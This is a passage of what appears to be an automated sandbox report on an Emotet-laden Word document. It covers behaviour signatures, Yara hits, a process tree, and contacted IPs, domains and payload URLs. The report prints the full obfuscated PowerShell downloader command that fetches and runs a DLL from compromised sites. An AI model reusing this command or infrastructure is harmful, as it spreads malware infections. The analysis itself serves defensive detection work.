sAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhACcAKwAnAGgAcwA6ACcAKQArACcALwAnACsAJwAvAG0AJwArACgAJwByAHYAJwArACcAZQAnACsAJwBnAGcAeQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcAbgAnACkAKwAnAC8AQAAnACsAJwBzACcAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaABzACcAKwAnADoALwAvAGgAJwArACcAYgAnACkAKwAnAHAAcgAnACsAKAAnAGkAdgBpAGwAZQAnACsAJwBnAC
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgACQAOQBNAHMANgAzACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTAFkAcwB0AEUAJwAsACcATwAuAEQAaQByAGUAYwAnACwAJwBtAC4ASQAnACwAJwB0AE8AcgBZACcAKQA7ACAAIABTAEUAdAAtAHYAQQByAEkAQQBCAGwAZQAgAHkAUQBLAG0AdAAgACAAKAAgACAAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsANwB9AHsANAB9AHsAOAB9AHsAMQB9AHsANgB9AHsAMwB9AHsAMgB9ACIALQBmACcAUwBZAFMAJwAsACcASQBDAGUAcABvAEkAbgBUACcALAAnAGUAUgAnACwAJwBBAEcAJwAsACcALgBTAGUAUgAnACwAJwB0AEUATQAuAE4AZQAnACwAJwBtAEEATgAnACwAJwBUACcALAAnAFYAJwApACAAKQA7ACAAJABCAGIAMgB1ADIAYwA5AD0AJABYADIANwBGACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABaADEAMgBHADsAJABSADgANABGAD0AKAAnAFEAMgAnACsAJwAwAEwAJwApADsAIAAgACgAIAAgAGMAaABpAEwAZABpAHQAZQBtACAAdgBhAFIAaQBhAGIAbABlADoAOQBNAFMANgAzACkALgB2AGEAbAB1AEUAOgA6ACIAYwByAEUAYQB0AEUAYABEAEkAYABSAGUAYwBUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAVwAnACsAJwAwAGYAJwArACcATwAnACsAJwBjAG0AJwArACcAZABfACcAKwAnAGsAJwArACgAJwBlAFcAMAAnACsAJwBmACcAKQArACgAJwBRAHEAdwA4AG4AYgAnACsAJwBoAFcAJwArACcAMABmACcAKQApAC4AIgBSAEUAYABwAEwAYQBjAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA3ACsAWwBDAEgAQQBSAF0ANAA4ACsAWwBDAEgAQQBSAF0AMQAwADIAKQAsACcAXAAnACkAKQApADsAJABNADYANwBOAD0AKAAoACcATQAnACsAJwAyADkAJwApACsAJwBEACcAKQA7ACAAIAAkAFkAUQBLAE0AdAA6ADoAIgBzAEUAQwBgAFUAYABSAEkAdABgAFkAUAByAG8AdABgAE8AYwBvAGwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAEwAMQAwAEIAPQAoACcAUAAnACsAKAAnADYAOAAnACsAJwBSACcAKQApADsAJABVAHoAaQAxAGgAMQBxACAAPQAgACgAJwBBACcAKwAoACcAMwAwACcAKwAnAEYAJwApACkAOwAkAEwANQA1AE8APQAoACcAVAAnACsAKAAnADYANwAnACsAJwBZACcAKQApADsAJABSAGQAdABhAGwANAB2AD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ATwBjAG0AJwArACcAZAAnACsAJwBfAGsAZQB7ACcAKwAnADAAfQBRAHEAJwArACgAJwB3ACcAKwAnADgAbgBiACcAKQArACcAaAAnACsAJwB7ADAAfQAnACkALQBGAFsAQwBoAGEAUgBdADkAMgApACsAJABVAHoAaQAxAGgAMQBxACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABMADcAMgBRAD0AKAAnAFgANAAnACsAJwBfAFMAJwApADsAJABOAHMAegBvADgAaQAxAD0AKAAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8ALwBrAGUAdAAnACsAJwBvAHIAJwArACcAZQAnACkAKwAoACcAcwBlACcAKwAnAHQAJwApACsAKAAnAG0AJwArACcAZQAuAGMAbwBtAC8AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQAnACsAKAAnAG4AdAAnACsAJwAvAFIAawAnACkAKwAnADQAcgAnACsAJwB6AC8AJwArACgAJwBAAHMAJwArACcAZwAgAHkAdwAnACsAJwAgAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAJwAvAGkAJwArACgAJwBuAHQAZQAnACsAJwBsAGwAaQAnACkAKwAnAHMAJwArACgAJwBhACcAKwAnAHYAdgB5AC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvAGQAJwArACcAUgAnACkAKwAnAGEARwAnACsAKAAnADIASAAnACsAJwAvAEAAcwBnACcAKQArACcAIAAnACsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhACcAKwAnAGgAcwA6ACcAKQArACcALwAnACsAJwAvAG0AJwArACgAJwByAHYAJwArACcAZQAnACsAJwBnAGcAeQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcAbgAnACkAKwAnAC8AQAAnACsAJwBzACcAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaABzACcAKwAnADoALwAvAGgAJwArACcAYgAnACkAKwAnAHAAcgAnACsAKAAnAGkAdgBpAGwAZQAnACsAJwBnAC Jump to behavior
Source: rundll32.exe, 0000000C.00000002.2345845620.0000000000C40000.00000002.00000001.sdmp Binary or memory string: Program Manager
Source: rundll32.exe, 0000000C.00000002.2345845620.0000000000C40000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 0000000C.00000002.2345845620.0000000000C40000.00000002.00000001.sdmp Binary or memory string: !Progman

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

barindex
Adds / modifies Windows certificates
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 Blob Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected Emotet
Source: Yara match File source: 00000007.00000002.2124049424.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2135634388.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2345582268.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2161670466.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2168147039.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2125246682.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2124029835.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2345600716.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2144436282.00000000003B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2134225145.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2158222517.0000000000250000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2346676454.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2144335956.0000000000180000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2145866695.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2158182708.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2168130211.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2173566847.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2134257328.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.250000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.250000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1f0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.3b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.180000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1e0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1f0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.200000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.3b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.220000.1.raw.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 345226 Sample: 68254_2001.doc Startdate: 27/01/2021 Architecture: WINDOWS Score: 100 57 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->57 59 Antivirus detection for URL or domain 2->59 61 Multi AV Scanner detection for dropped file 2->61 63 14 other signatures 2->63 13 cmd.exe 2->13         started        16 WINWORD.EXE 293 24 2->16         started        process3 signatures4 71 Suspicious powershell command line found 13->71 73 Very long command line found 13->73 75 Encrypted powershell cmdline option found 13->75 18 powershell.exe 16 13 13->18         started        23 msg.exe 13->23         started        process5 dnsIp6 45 intellisavvy.com 192.124.249.8, 443, 49168, 49169 SUCURI-SECUS United States 18->45 47 mrveggy.com 177.12.170.95, 443, 49171 IPV6InternetLtdaBR Brazil 18->47 49 4 other IPs or domains 18->49 43 C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll, PE32 18->43 dropped 67 Powershell drops PE file 18->67 25 rundll32.exe 18->25         started        file7 signatures8 process9 process10 27 rundll32.exe 25->27         started        process11 29 rundll32.exe 2 27->29         started        signatures12 77 Hides that the sample has been downloaded from the Internet (zone.identifier) 29->77 32 rundll32.exe 29->32         started        process13 process14 34 rundll32.exe 1 32->34         started        signatures15 65 Hides that the sample has been downloaded from the Internet (zone.identifier) 34->65 37 rundll32.exe 34->37         started        process16 process17 39 rundll32.exe 9 37->39         started        dnsIp18 51 84.232.229.24, 49179, 80 RCS-RDS73-75DrStaicoviciRO Romania 39->51 53 51.15.7.145, 49184, 80 OnlineSASFR France 39->53 55 2 other IPs or domains 39->55 69 System process connects to network (likely due to code injection or exploit) 39->69 signatures19
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
217.160.169.110
 unknown Germany
8560 ONEANDONE-ASBrauerstrasse48DE true
51.255.203.164
 unknown France
16276 OVHFR true
70.32.23.58
 unknown United States
55293 A2HOSTINGUS true
35.209.174.246
 unknown United States
19527 GOOGLE-2US true
35.163.191.195
 unknown United States
16509 AMAZON-02US true
192.124.249.8
 unknown United States
30148 SUCURI-SECUS true
51.15.7.145
 unknown France
12876 OnlineSASFR true
177.12.170.95
 unknown Brazil
28299 IPV6InternetLtdaBR true
35.209.96.32
 unknown United States
19527 GOOGLE-2US true
84.232.229.24
 unknown Romania
8708 RCS-RDS73-75DrStaicoviciRO true

Contacted Domains

Name IP Active
hbprivileged.com 35.209.96.32 true
mrveggy.com 177.12.170.95 true
theo.digital 35.209.174.246 true
ummahstars.com 35.163.191.195 true
intellisavvy.com 192.124.249.8 true
ketoresetme.com 70.32.23.58 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://ketoresetme.com/wp-content/Rk4rz/ true
  • Avira URL Cloud: malware
 unknown
http://intellisavvy.com/wp-admin/dRaG2H/ true
  • Avira URL Cloud: malware
 unknown
http://51.15.7.145/mcbf10vnnn8hf/qv9l36h26wgbq5tqf/ true
  • Avira URL Cloud: safe
 unknown